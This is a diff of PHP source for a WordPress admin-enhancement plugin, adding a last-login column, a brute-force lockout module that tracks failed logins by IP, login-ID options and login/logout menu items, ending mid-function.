if ( is_object( $user ) ) {
|
||||
if ( property_exists( $user, 'ID' ) ) {
|
||||
update_user_meta( $user->ID, 'asenha_last_login_on', time() );
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Add Last Login column to users list table
|
||||
*
|
||||
* @since 3.6.0
|
||||
*/
|
||||
public function add_last_login_column( $columns ) {
|
||||
$columns['asenha_last_login'] = __( 'Last Login', 'admin-site-enhancements' );
|
||||
return $columns;
|
||||
}
|
||||
|
||||
/**
|
||||
* Show last login info in the last login column
|
||||
*
|
||||
* @since 3.6.0
|
||||
*/
|
||||
public function show_last_login_info( $output, $column_name, $user_id ) {
|
||||
if ( 'asenha_last_login' === $column_name ) {
|
||||
if ( !empty( get_user_meta( $user_id, 'asenha_last_login_on', true ) ) ) {
|
||||
$last_login_unixtime = (int) get_user_meta( $user_id, 'asenha_last_login_on', true );
|
||||
$date_format = get_option( 'date_format' );
|
||||
$time_format = get_option( 'time_format' );
|
||||
if ( function_exists( 'wp_date' ) ) {
|
||||
// $output = wp_date( 'M j, Y H:i', $last_login_unixtime );
|
||||
$output = wp_date( $date_format . ' ' . $time_format, $last_login_unixtime );
|
||||
} else {
|
||||
// $output = date_i18n( 'M j, Y H:i', $last_login_unixtime );
|
||||
$output = date_i18n( $date_format . ' ' . $time_format, $last_login_unixtime );
|
||||
}
|
||||
} else {
|
||||
$output = __( 'Never', 'admin-site-enhancements' );
|
||||
}
|
||||
}
|
||||
return $output;
|
||||
}
|
||||
|
||||
/**
|
||||
* Add custom CSS for the Last Login column
|
||||
*
|
||||
* @since 3.6.0
|
||||
*/
|
||||
public function add_column_style() {
|
||||
?>
|
||||
<style>
|
||||
.column-asenha_last_login {
|
||||
width: 124px;
|
||||
}
|
||||
</style>
|
||||
<?php
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,579 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
use WP_Error;
|
||||
|
||||
/**
|
||||
* Class for Limit Login Attempts module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Limit_Login_Attempts {
|
||||
|
||||
/**
|
||||
* Maybe allow login if not locked out. Should return WP_Error object if not allowed to login.
|
||||
*
|
||||
* @since 2.5.0
|
||||
*/
|
||||
public function maybe_allow_login( $user_or_error, $username, $password ) {
|
||||
global $wpdb, $asenha_limit_login;
|
||||
|
||||
$table_name = $wpdb->prefix . 'asenha_failed_logins';
|
||||
|
||||
// Maybe create table if it does not exist yet, e.g. upgraded from previous version of plugin, so, no activation methods are fired
|
||||
$query = $wpdb->prepare( 'SHOW TABLES LIKE %s', $wpdb->esc_like( $table_name ) );
|
||||
|
||||
if ( $wpdb->get_var( $query ) === $table_name ) {
|
||||
// Table already exists, do nothing.
|
||||
} else {
|
||||
$activation = new Activation;
|
||||
$activation->create_failed_logins_log_table();
|
||||
}
|
||||
|
||||
// Get values from options needed to do various checks
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
$login_fails_allowed = $options['login_fails_allowed'];
|
||||
$login_lockout_maxcount = $options['login_lockout_maxcount'];
|
||||
|
||||
$ip_address_whitelist_raw = ( isset( $options['limit_login_attempts_ip_whitelist'] ) ) ? explode( PHP_EOL, $options['limit_login_attempts_ip_whitelist'] ) : array();
|
||||
$ip_address_whitelist = array();
|
||||
if ( ! empty( $ip_address_whitelist_raw ) ) {
|
||||
foreach( $ip_address_whitelist_raw as $ip_address ) {
|
||||
$ip_address_whitelist[] = trim( $ip_address );
|
||||
}
|
||||
}
|
||||
|
||||
$change_login_url = $options['change_login_url'];
|
||||
$custom_login_slug = $options['custom_login_slug'];
|
||||
|
||||
// Instantiate object to access common methods
|
||||
$common_methods = new Common_Methods;
|
||||
|
||||
// Get user/visitor IP address
|
||||
$ip_address = $common_methods->get_user_ip_address( 'ip', 'limit-login-attempts' );
|
||||
|
||||
if ( ! in_array( $ip_address, $ip_address_whitelist ) ) { // IP is not whitelisted
|
||||
// Check if IP address has failed login attempts recorded in the DB log
|
||||
$sql = $wpdb->prepare("SELECT * FROM `" . $table_name . "` Where `ip_address` = %s", $ip_address);
|
||||
$result = $wpdb->get_results( $sql, ARRAY_A );
|
||||
|
||||
$result_count = count( $result );
|
||||
|
||||
if ( $result_count > 0 ) { // IP address has been recorded in the database.
|
||||
$fail_count = $result[0]['fail_count'];
|
||||
$lockout_count = $result[0]['lockout_count'];
|
||||
$last_fail_on = $result[0]['unixtime'];
|
||||
} else {
|
||||
$fail_count = 0;
|
||||
$lockout_count = 0;
|
||||
$last_fail_on = '';
|
||||
}
|
||||
} else { // IP is whitelisted
|
||||
$result = array();
|
||||
$result_count = 0;
|
||||
$fail_count = 0;
|
||||
$lockout_count = 0;
|
||||
$last_fail_on = '';
|
||||
}
|
||||
|
||||
// Initialize the global variable
|
||||
$asenha_limit_login = array (
|
||||
'ip_address' => $ip_address,
|
||||
'request_uri' => sanitize_text_field( $_SERVER['REQUEST_URI'] ),
|
||||
'ip_address_log' => $result,
|
||||
'fail_count' => $fail_count,
|
||||
'lockout_count' => $lockout_count,
|
||||
'maybe_lockout' => false,
|
||||
'extended_lockout' => false,
|
||||
'within_lockout_period' => false,
|
||||
'lockout_period' => 0,
|
||||
'lockout_period_remaining' => 0,
|
||||
'login_fails_allowed' => $login_fails_allowed,
|
||||
'login_lockout_maxcount' => $login_lockout_maxcount,
|
||||
// 'default_lockout_period' => 15, // 15 seconds. FOR TESTING.
|
||||
// 'default_lockout_period' => 60, // 1 minutes in seconds
|
||||
'default_lockout_period' => 60*15, // 15 minutes in seconds
|
||||
// 'extended_lockout_period' => 3*60, // 3 minutes in seconds
|
||||
'extended_lockout_period' => 24*60*60, // 24 hours in seconds
|
||||
'change_login_url' => $change_login_url, // is custom login URL enabled?
|
||||
'custom_login_slug' => $custom_login_slug,
|
||||
);
|
||||
|
||||
if ( ! in_array( $ip_address, $ip_address_whitelist ) ) { // IP is not whitelisted
|
||||
|
||||
if ( $result_count > 0 ) { // IP address has been recorded in the database.
|
||||
|
||||
// Failed attempts have been recorded and fulfills lockout condition
|
||||
if ( ! empty( $fail_count ) && ( ( $fail_count ) % $login_fails_allowed == 0 ) ) {
|
||||
|
||||
$asenha_limit_login['maybe_lockout'] = true;
|
||||
|
||||
// Has reached max / gone beyond number of lockouts allowed?
|
||||
if ( $lockout_count >= $login_lockout_maxcount ) {
|
||||
$asenha_limit_login['extended_lockout'] = true;
|
||||
$lockout_period = $asenha_limit_login['extended_lockout_period'];
|
||||
} else {
|
||||
$asenha_limit_login['extended_lockout'] = false;
|
||||
$lockout_period = $asenha_limit_login['default_lockout_period'];
|
||||
}
|
||||
|
||||
$asenha_limit_login['lockout_period'] = $lockout_period;
|
||||
|
||||
// User/visitor is still within the lockout period
|
||||
if ( ( time() - $last_fail_on ) <= $asenha_limit_login['lockout_period'] ) {
|
||||
|
||||
$asenha_limit_login['within_lockout_period'] = true;
|
||||
$asenha_limit_login['lockout_period_remaining'] = $asenha_limit_login['lockout_period'] - ( time() - $last_fail_on );
|
||||
|
||||
if ( $asenha_limit_login['lockout_period_remaining'] <= 60 ) {
|
||||
|
||||
// Get remaining lockout period in minutes and seconds
|
||||
$lockout_period_remaining = $asenha_limit_login['lockout_period_remaining'] . ' seconds';
|
||||
|
||||
} elseif ( $asenha_limit_login['lockout_period_remaining'] <= 60*60 ) {
|
||||
|
||||
// Get remaining lockout period in minutes and seconds
|
||||
$lockout_period_remaining = $common_methods->seconds_to_period( $asenha_limit_login['lockout_period_remaining'], 'to-minutes-seconds' );
|
||||
|
||||
} elseif ( $asenha_limit_login['lockout_period_remaining'] > 60*60 && $asenha_limit_login['lockout_period_remaining'] <= 24*60*60 ) {
|
||||
|
||||
// Get remaining lockout period in minutes and seconds
|
||||
$lockout_period_remaining = $common_methods->seconds_to_period( $asenha_limit_login['lockout_period_remaining'], 'to-hours-minutes-seconds' );
|
||||
|
||||
} elseif ( $asenha_limit_login['lockout_period_remaining'] > 24*60*60 ) {
|
||||
|
||||
// Get remaining lockout period in minutes and seconds
|
||||
$lockout_period_remaining = $common_methods->seconds_to_period( $asenha_limit_login['lockout_period_remaining'], 'to-days-hours-minutes-seconds' );
|
||||
|
||||
}
|
||||
|
||||
$error = new WP_Error( 'ip_address_blocked', '<b>WARNING:</b> You\'ve been locked out. You can login again in ' . $lockout_period_remaining . '.' );
|
||||
|
||||
return $error;
|
||||
|
||||
} else { // User/visitor is no longer within the lockout period
|
||||
|
||||
$asenha_limit_login['within_lockout_period'] = false;
|
||||
|
||||
if ( $lockout_count == $login_lockout_maxcount ) {
|
||||
|
||||
// Remove the DB log entry for the current IP address. i.e. release from extended lockout
|
||||
|
||||
$where = array( 'ip_address' => $ip_address );
|
||||
$where_format = array( '%s' );
|
||||
|
||||
// Delete existing data in the database
|
||||
$wpdb->delete(
|
||||
$table_name,
|
||||
$where,
|
||||
$where_format
|
||||
);
|
||||
|
||||
}
|
||||
|
||||
return $user_or_error;
|
||||
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
$asenha_limit_login['maybe_lockout'] = false;
|
||||
|
||||
return $user_or_error;
|
||||
|
||||
}
|
||||
|
||||
} else { // IP address has not been recorded in the database.
|
||||
|
||||
return $user_or_error;
|
||||
|
||||
}
|
||||
|
||||
} else { // IP is whitelisted
|
||||
return $user_or_error;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Handle login errors
|
||||
*
|
||||
* @link https://developer.wordpress.org/reference/classes/wp_error/#methods
|
||||
* @since 2.5.0
|
||||
*/
|
||||
public function login_error_handler( $errors, $redirect_to ) {
|
||||
global $asenha_limit_login;
|
||||
|
||||
if ( is_wp_error( $errors ) ) {
|
||||
|
||||
$error_codes = $errors->get_error_codes();
|
||||
|
||||
foreach ( $error_codes as $error_code ) {
|
||||
|
||||
if ( $error_code == 'invalid_username' || $error_code == 'incorrect_password' ) {
|
||||
|
||||
// Remove default error messages that may give out valueable info to hackers
|
||||
|
||||
$errors->remove( 'invalid_username' ); // Outputs info that says username does not exist. May encourage login attempt with a different username instead.
|
||||
|
||||
$errors->remove( 'incorrect_password' ); // Outputs info that implies username exist. May encourage login attempt with a different password.
|
||||
|
||||
// Add a new error message that does not provide useful clues to hackers
|
||||
$errors->add( 'invalid_username_or_incorrect_password', '<b>' . __( 'Error:', 'admin-site-enhancements' ) . '</b> ' . __( 'Invalid username/email or incorrect password.', 'admin-site-enhancements' ) );
|
||||
|
||||
// $errors->add( 'another_error_code', 'The error message.' );
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return $errors;
|
||||
}
|
||||
|
||||
/**
|
||||
* Disable login form inputs via CSS
|
||||
*
|
||||
* @since 2.5.0
|
||||
*/
|
||||
public function maybe_hide_login_form() {
|
||||
global $asenha_limit_login;
|
||||
|
||||
if ( isset( $asenha_limit_login['within_lockout_period'] ) && $asenha_limit_login['within_lockout_period'] ) {
|
||||
|
||||
// Hide logo, login form and the links below it
|
||||
?>
|
||||
<script>
|
||||
document.addEventListener("DOMContentLoaded", function(event) {
|
||||
var loginForm = document.getElementById("loginform");
|
||||
loginForm.remove();
|
||||
});
|
||||
</script>
|
||||
<style type="text/css">
|
||||
|
||||
body.login {
|
||||
background:#f6d6d7;
|
||||
}
|
||||
|
||||
#login h1,
|
||||
#loginform,
|
||||
#login #nav,
|
||||
#backtoblog,
|
||||
.language-switcher {
|
||||
display: none;
|
||||
}
|
||||
|
||||
@media screen and (max-height: 550px) {
|
||||
|
||||
#login {
|
||||
padding: 80px 0 20px !important;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
</style>
|
||||
<?php
|
||||
} else {
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
$login_fails_allowed = $options['login_fails_allowed'];
|
||||
$page_was_reloaded = isset( $_GET['rl'] ) && 1 == sanitize_text_field( $_GET['rl'] ) ? true : false;
|
||||
|
||||
if ( isset( $asenha_limit_login['fail_count'] )
|
||||
&& ( ( $login_fails_allowed - 1 ) == intval( $asenha_limit_login['fail_count'] )
|
||||
|| ( 2 * $login_fails_allowed - 1 ) == intval( $asenha_limit_login['fail_count'] )
|
||||
|| ( 3 * $login_fails_allowed - 1 ) == intval( $asenha_limit_login['fail_count'] )
|
||||
|| ( 4 * $login_fails_allowed - 1 ) == intval( $asenha_limit_login['fail_count'] )
|
||||
|| ( 5 * $login_fails_allowed - 1 ) == intval( $asenha_limit_login['fail_count'] )
|
||||
|| ( 6 * $login_fails_allowed - 1 ) == intval( $asenha_limit_login['fail_count'] )
|
||||
)
|
||||
) {
|
||||
if ( array_key_exists( 'change_login_url', $options ) && $options['change_login_url'] ) {
|
||||
// Custom Login URL is enabled, e.g. /manage
|
||||
// Do nothing
|
||||
} else {
|
||||
// Default login URL, i.e. /wp-login.php
|
||||
// Reload the login page so we get the up-to-date data in $asenha_limit_login
|
||||
// Only reload if page was not reloaded before. This prevents infinite reloads.
|
||||
if ( ! $page_was_reloaded ) {
|
||||
?>
|
||||
<script>
|
||||
let url = window.location.href;
|
||||
if (url.indexOf('?') > -1){
|
||||
url += '&rl=1'
|
||||
} else {
|
||||
url += '?rl=1'
|
||||
}
|
||||
location.replace(url);
|
||||
</script>
|
||||
<?php
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Add login error message on top of the login form
|
||||
*
|
||||
* @since 2.5.0
|
||||
*/
|
||||
public function add_failed_login_message( $message ) {
|
||||
global $asenha_limit_login;
|
||||
|
||||
if ( isset( $_REQUEST['failed_login'] ) && $_REQUEST['failed_login'] == 'true' ) {
|
||||
|
||||
if ( ! is_null( $asenha_limit_login ) && isset( $asenha_limit_login['within_lockout_period'] ) && ! $asenha_limit_login['within_lockout_period'] ) {
|
||||
|
||||
$message = '<div id="login_error" class="notice notice-error"><b>' . __( 'Error:', 'admin-site-enhancements' ) . '</b> ' . __( 'Invalid username/email or incorrect password.', 'admin-site-enhancements' ) . '</div>';
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return $message;
|
||||
}
|
||||
|
||||
/**
|
||||
* Log failed login attempts
|
||||
*
|
||||
* @since 2.5.0
|
||||
*/
|
||||
public function log_failed_login( $username ) {
|
||||
global $wpdb, $asenha_limit_login;
|
||||
|
||||
$table_name = $wpdb->prefix . 'asenha_failed_logins';
|
||||
|
||||
$ip_address = isset( $asenha_limit_login['ip_address'] ) ? $asenha_limit_login['ip_address'] : '';
|
||||
$request_uri = isset( $asenha_limit_login['request_uri'] ) ? $asenha_limit_login['request_uri'] : '';
|
||||
$login_fails_allowed = isset( $asenha_limit_login['login_fails_allowed'] ) ? $asenha_limit_login['login_fails_allowed'] : 3;
|
||||
$login_lockout_maxcount = isset( $asenha_limit_login['login_lockout_maxcount'] ) ? $asenha_limit_login['login_lockout_maxcount'] : 3;
|
||||
|
||||
// Check if the IP address has been used in a failed login attempt before, i.e. has it been recorded in the database?
|
||||
$sql = $wpdb->prepare( "SELECT * FROM `" . $table_name . "` WHERE `ip_address` = %s", $ip_address );
|
||||
$result = $wpdb->get_results( $sql, ARRAY_A );
|
||||
if ( $result ) {
|
||||
$result_count = count( $result );
|
||||
} else {
|
||||
$result_count = 0;
|
||||
}
|
||||
|
||||
// Update logged info for the IP address in the global variable
|
||||
if ( $result ) {
|
||||
$asenha_limit_login['ip_address_log'] = $result;
|
||||
}
|
||||
|
||||
if ( $result_count == 0 ) { // IP address has not been recorded in the database.
|
||||
|
||||
$new_fail_count = 1;
|
||||
$new_lockout_count = 0;
|
||||
|
||||
} else { // IP address has been recorded in the database.
|
||||
|
||||
$new_fail_count = $result[0]['fail_count'] + 1;
|
||||
$new_lockout_count = floor( ( $result[0]['fail_count'] + 1 ) / $login_fails_allowed );
|
||||
|
||||
}
|
||||
|
||||
// Get the URL where login failed, i.e. where brute force attack might be happening
|
||||
// $login_url = ( ! empty( $_SERVER['HTTPS'] ) ? 'https://' : 'http://') . sanitize_text_field( $_SERVER['HTTP_HOST'] ) . sanitize_text_field( $_SERVER['REQUEST_URI'] );
|
||||
|
||||
// Time stamps
|
||||
$unixtime = time();
|
||||
if ( function_exists( 'wp_date' ) ) {
|
||||
$datetime_wp = wp_date( 'Y-m-d H:i:s', $unixtime );
|
||||
} else {
|
||||
$datetime_wp = date_i18n( 'Y-m-d H:i:s', $unixtime );
|
||||
}
|
||||
|
||||
$data = array(
|
||||
'ip_address' => $ip_address,
|
||||
'username' => $username,
|
||||
'fail_count' => $new_fail_count,
|
||||
'lockout_count' => $new_lockout_count,
|
||||
'request_uri' => $request_uri,
|
||||
'unixtime' => $unixtime,
|
||||
'datetime_wp' => $datetime_wp,
|
||||
'info' => '',
|
||||
);
|
||||
|
||||
$data_format = array(
|
||||
'%s', // string
|
||||
'%s', // string
|
||||
'%d', // integer
|
||||
'%d', // integer
|
||||
'%s', // string
|
||||
'%d', // integer
|
||||
'%s', // string
|
||||
'%s', // string
|
||||
);
|
||||
|
||||
if ( $result_count == 0 ) {
|
||||
|
||||
// Insert into the database
|
||||
$result = $wpdb->insert(
|
||||
$table_name,
|
||||
$data,
|
||||
$data_format
|
||||
);
|
||||
|
||||
} else {
|
||||
|
||||
$fail_count = $result[0]['fail_count'];
|
||||
$lockout_count = $result[0]['lockout_count'];
|
||||
$last_fail_on = $result[0]['unixtime'];
|
||||
|
||||
$where = array( 'ip_address' => $ip_address );
|
||||
$where_format = array( '%s' );
|
||||
|
||||
// Failed attempts have been recorded and fulfills lockout condition
|
||||
if ( ! empty( $fail_count )
|
||||
&& ( $login_fails_allowed > 0 )
|
||||
&& ( $fail_count % $login_fails_allowed == 0 )
|
||||
) {
|
||||
|
||||
// Has reached max / gone beyond number of lockouts allowed?
|
||||
if ( $lockout_count >= $login_lockout_maxcount ) {
|
||||
$asenha_limit_login['extended_lockout'] = true;
|
||||
$lockout_period = $asenha_limit_login['extended_lockout_period'];
|
||||
} else {
|
||||
$asenha_limit_login['extended_lockout'] = false;
|
||||
$lockout_period = $asenha_limit_login['default_lockout_period'];
|
||||
}
|
||||
|
||||
$asenha_limit_login['lockout_period'] = $lockout_period;
|
||||
|
||||
// User/visitor is still within the lockout period
|
||||
if ( ( time() - $last_fail_on ) <= $lockout_period ) {
|
||||
|
||||
// Do nothing
|
||||
|
||||
} else {
|
||||
|
||||
if ( $lockout_count < $login_lockout_maxcount ) {
|
||||
|
||||
// Update existing data in the database
|
||||
$wpdb->update(
|
||||
$table_name,
|
||||
$data,
|
||||
$where,
|
||||
$data_format,
|
||||
$where_format
|
||||
);
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
// Update existing data in the database
|
||||
$wpdb->update(
|
||||
$table_name,
|
||||
$data,
|
||||
$where,
|
||||
$data_format,
|
||||
$where_format
|
||||
);
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Clear failed login attempts log after successful login
|
||||
*
|
||||
* @since 2.5.0
|
||||
*/
|
||||
public function clear_failed_login_log() {
|
||||
global $wpdb, $asenha_limit_login;
|
||||
|
||||
$table_name = $wpdb->prefix . 'asenha_failed_logins';
|
||||
$ip_address = isset( $asenha_limit_login['ip_address'] ) ? $asenha_limit_login['ip_address'] : '';
|
||||
|
||||
// Remove the DB log entry for the current IP address.
|
||||
|
||||
$where = array( 'ip_address' => $ip_address );
|
||||
$where_format = array( '%s' );
|
||||
|
||||
$wpdb->delete(
|
||||
$table_name,
|
||||
$where,
|
||||
$where_format
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Trigger scheduling of failed login attempts log clean up event.
|
||||
*
|
||||
* @since 7.1.1
|
||||
*/
|
||||
public function trigger_clear_or_schedule_log_clean_up_by_amount( $option_name ) {
|
||||
if ( ASENHA_SLUG_U === $option_name ) {
|
||||
$this->clear_or_schedule_log_clean_up_by_amount();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Schedule failed login attempts log clean up event
|
||||
*
|
||||
* @link https://plugins.trac.wordpress.org/browser/lana-email-logger/tags/1.1.0/lana-email-logger.php#L750
|
||||
* @since 7.8.3
|
||||
*/
|
||||
public function clear_or_schedule_log_clean_up_by_amount() {
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
$limit_login_attempts = isset( $options['limit_login_attempts'] ) ? $options['limit_login_attempts'] : false;
|
||||
$failed_login_attempts_log_schedule_cleanup_by_amount = isset( $options['failed_login_attempts_log_schedule_cleanup_by_amount'] ) ? $options['failed_login_attempts_log_schedule_cleanup_by_amount'] : false;
|
||||
|
||||
// If module or scheduled clean up is not enabled, clear the schedule.
|
||||
if ( ! $limit_login_attempts || ! $failed_login_attempts_log_schedule_cleanup_by_amount ) {
|
||||
wp_clear_scheduled_hook( 'asenha_failed_login_attempts_log_cleanup_by_amount' );
|
||||
return;
|
||||
}
|
||||
|
||||
// If there's no next scheduled clean up event, let's schedule one
|
||||
if ( ! wp_next_scheduled( 'asenha_failed_login_attempts_log_cleanup_by_amount' ) ) {
|
||||
wp_schedule_event( time(), 'hourly', 'asenha_failed_login_attempts_log_cleanup_by_amount' );
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Perform clean up of failed login attempts log by the amount of entries to keep
|
||||
*
|
||||
* @link https://plugins.trac.wordpress.org/browser/lana-email-logger/tags/1.1.0/lana-email-logger.php#L768
|
||||
* @since 7.8.3
|
||||
*/
|
||||
public function perform_failed_login_attempts_log_clean_up_by_amount() {
|
||||
global $wpdb;
|
||||
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
$limit_login_attempts = isset( $options['limit_login_attempts'] ) ? $options['limit_login_attempts'] : false;
|
||||
$failed_login_attempts_log_schedule_cleanup_by_amount = isset( $options['failed_login_attempts_log_schedule_cleanup_by_amount'] ) ? $options['failed_login_attempts_log_schedule_cleanup_by_amount'] : false;
|
||||
$failed_login_attempts_log_entries_amount_to_keep = 1000;
|
||||
|
||||
// Bail and clear any orphan schedule if clean up should not run.
|
||||
if ( ! $limit_login_attempts || ! $failed_login_attempts_log_schedule_cleanup_by_amount ) {
|
||||
wp_clear_scheduled_hook( 'asenha_failed_login_attempts_log_cleanup_by_amount' );
|
||||
return;
|
||||
}
|
||||
|
||||
$table_name = $wpdb->prefix . 'asenha_failed_logins';
|
||||
|
||||
// Maybe create table if it does not exist yet, e.g. module enabled but no login attempt yet.
|
||||
$query = $wpdb->prepare( 'SHOW TABLES LIKE %s', $wpdb->esc_like( $table_name ) );
|
||||
|
||||
if ( $wpdb->get_var( $query ) === $table_name ) {
|
||||
// Table already exists, do nothing.
|
||||
} else {
|
||||
$activation = new Activation;
|
||||
$activation->create_failed_logins_log_table();
|
||||
}
|
||||
|
||||
$wpdb->query( "DELETE failed_login_entries FROM " . $table_name . "
|
||||
AS failed_login_entries JOIN ( SELECT id FROM " . $table_name . " ORDER BY id DESC LIMIT 1 OFFSET " . $failed_login_attempts_log_entries_amount_to_keep . " )
|
||||
AS failed_login_entries_limit ON failed_login_entries.id <= failed_login_entries_limit.id;" );
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
use WP_Error;
|
||||
|
||||
/**
|
||||
* Class for Login ID Type module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Login_ID_Type {
|
||||
|
||||
/**
|
||||
* Change default label on login form
|
||||
*
|
||||
* @param array $defaults an array of default login form arguments
|
||||
* @link https://plugins.trac.wordpress.org/browser/xo-security/tags/3.7.1/inc/class-xo-security.php
|
||||
* @since 6.8.0
|
||||
*/
|
||||
public function change_login_form_defaults( $defaults ) {
|
||||
$defaults['label_username'] = __( 'Username', 'admin-site-enhancements' );
|
||||
return $defaults;
|
||||
}
|
||||
|
||||
/**
|
||||
* Filter for gettext.
|
||||
*
|
||||
* @param string $translation Translated text.
|
||||
* @param string $text Text to translate.
|
||||
* @param string $domain Text domain. Unique identifier for retrieving translated strings.
|
||||
* @link https://plugins.trac.wordpress.org/browser/xo-security/tags/3.7.1/inc/class-xo-security.php
|
||||
* @since 6.8.0
|
||||
*/
|
||||
public function gettext_login_id_username( $translation, $text, $domain ) {
|
||||
global $pagenow;
|
||||
if ( 'wp-login.php' === $pagenow ) {
|
||||
if ( 'default' === $domain && 'Username or Email Address' === $text ) {
|
||||
$translation = __( 'Username', 'admin-site-enhancements' );
|
||||
}
|
||||
}
|
||||
return $translation;
|
||||
}
|
||||
|
||||
/**
|
||||
* Filter for authenticate.
|
||||
*
|
||||
* @param WP_User|Mixed $user user object if authenticated.
|
||||
* @param String $username username.
|
||||
* @return WP_User|Mixed authenticated user or error.
|
||||
* @link https://plugins.trac.wordpress.org/browser/xo-security/tags/3.7.1/inc/class-xo-security.php
|
||||
* @since 6.8.0
|
||||
*/
|
||||
public function authenticate_email( $user, $username ) {
|
||||
if ( null !== $user && ! is_wp_error( $user ) && strtolower( $user->user_email ) !== strtolower( $username ) ) {
|
||||
$user = new WP_Error( 'invalid_username', __( '<strong>Error:</strong> Invalid email or incorrect password.', 'admin-site-enhancements' ) );
|
||||
}
|
||||
return $user;
|
||||
}
|
||||
|
||||
/**
|
||||
* Filter for gettext.
|
||||
*
|
||||
* @param string $translation Translated text.
|
||||
* @param string $text Text to translate.
|
||||
* @param string $domain Text domain. Unique identifier for retrieving translated strings.
|
||||
* @return WP_User|Mixed authenticated user or error.
|
||||
* @link https://plugins.trac.wordpress.org/browser/xo-security/tags/3.7.1/inc/class-xo-security.php
|
||||
*/
|
||||
public function gettext_login_id_email( $translation, $text, $domain ) {
|
||||
global $pagenow;
|
||||
if ( 'wp-login.php' === $pagenow ) {
|
||||
if ( 'default' === $domain && 'Username or Email Address' === $text ) {
|
||||
$translation = __( 'Email', 'admin-site-enhancements' );
|
||||
}
|
||||
}
|
||||
return $translation;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,160 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
use Walker_Nav_Menu_Checklist;
|
||||
/**
|
||||
* Class for Login Logout Menu module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Login_Logout_Menu {
|
||||
/**
|
||||
* Add metabox to Appearance >> Menus page for the login logout menu items
|
||||
*
|
||||
* @since 3.4.0
|
||||
*/
|
||||
public function add_login_logout_metabox() {
|
||||
add_meta_box(
|
||||
'add-login-logout',
|
||||
__( 'Log In / Log Out', 'admin-site-enhancements' ),
|
||||
array($this, 'add_login_logout_menu_items'),
|
||||
'nav-menus',
|
||||
'side',
|
||||
'default'
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Add menu items for the login logout metabox
|
||||
*
|
||||
* @since 3.4.0
|
||||
*/
|
||||
public function add_login_logout_menu_items() {
|
||||
// The ID of the currently selected menu
|
||||
global $nav_menu_selected_id;
|
||||
$menu_items = array(
|
||||
'asenha-login' => array(
|
||||
'title' => __( 'Log In', 'admin-site-enhancements' ),
|
||||
'url' => '#asenha-login',
|
||||
'classes' => array('asenha-login-menu-item'),
|
||||
),
|
||||
'asenha-logout' => array(
|
||||
'title' => __( 'Log Out', 'admin-site-enhancements' ),
|
||||
'url' => '#asenha-logout',
|
||||
'classes' => array('asenha-logout-menu-item'),
|
||||
),
|
||||
'asenha-login-logout' => array(
|
||||
'title' => __( 'Log In / Log Out', 'admin-site-enhancements' ),
|
||||
'url' => '#asenha-login-logout',
|
||||
'classes' => array('asenha-login-logout-menu-item'),
|
||||
),
|
||||
);
|
||||
$item_details = array(
|
||||
'db_id' => 0,
|
||||
'object' => 'asenha',
|
||||
'object_id' => '',
|
||||
'menu_item_parent' => 0,
|
||||
'type' => 'custom',
|
||||
'title' => '',
|
||||
'url' => '',
|
||||
'target' => '',
|
||||
'attr_title' => '',
|
||||
'classes' => array(),
|
||||
'xfn' => '',
|
||||
);
|
||||
$menu_items_object = array();
|
||||
foreach ( $menu_items as $item_id => $details ) {
|
||||
$menu_items_object[$details['title']] = (object) $item_details;
|
||||
$menu_items_object[$details['title']]->object_id = $item_id;
|
||||
$menu_items_object[$details['title']]->title = $details['title'];
|
||||
$menu_items_object[$details['title']]->classes = $details['classes'];
|
||||
$menu_items_object[$details['title']]->url = $details['url'];
|
||||
}
|
||||
$walker = new Walker_Nav_Menu_Checklist(array());
|
||||
?>
|
||||
<div id="login-logout-links" class="loginlinksdiv">
|
||||
<div id="tabs-panel-login-logout-links-all" class="tabs-panel tabs-panel-view-all tabs-panel-active">
|
||||
<ul id="login-logout-links-checklist" class="list:login-logout-links categorychecklist form-no-clear">
|
||||
<?php
|
||||
echo walk_nav_menu_tree( array_map( 'wp_setup_nav_menu_item', $menu_items_object ), 0, (object) array(
|
||||
'walker' => $walker,
|
||||
) );
|
||||
?>
|
||||
</ul>
|
||||
</div>
|
||||
<p class="button-controls">
|
||||
<span class="add-to-menu">
|
||||
<input type="submit"<?php
|
||||
disabled( $nav_menu_selected_id, 0 );
|
||||
?> class="button-secondary submit-add-to-menu right" value="<?php
|
||||
echo esc_attr( __( 'Add to Menu', 'admin-site-enhancements' ) );
|
||||
?>" name="add-login-logout-links-menu-item" id="submit-login-logout-links" />
|
||||
<span class="spinner"></span>
|
||||
</span>
|
||||
</p>
|
||||
</div>
|
||||
<?php
|
||||
}
|
||||
|
||||
/**
|
||||
* Setup login logout URL based on login state
|
||||
*
|
||||
* @since 3.4.0
|
||||
*/
|
||||
public function set_login_logout_menu_item_dynamic_url( $menu_item ) {
|
||||
global $pagenow;
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
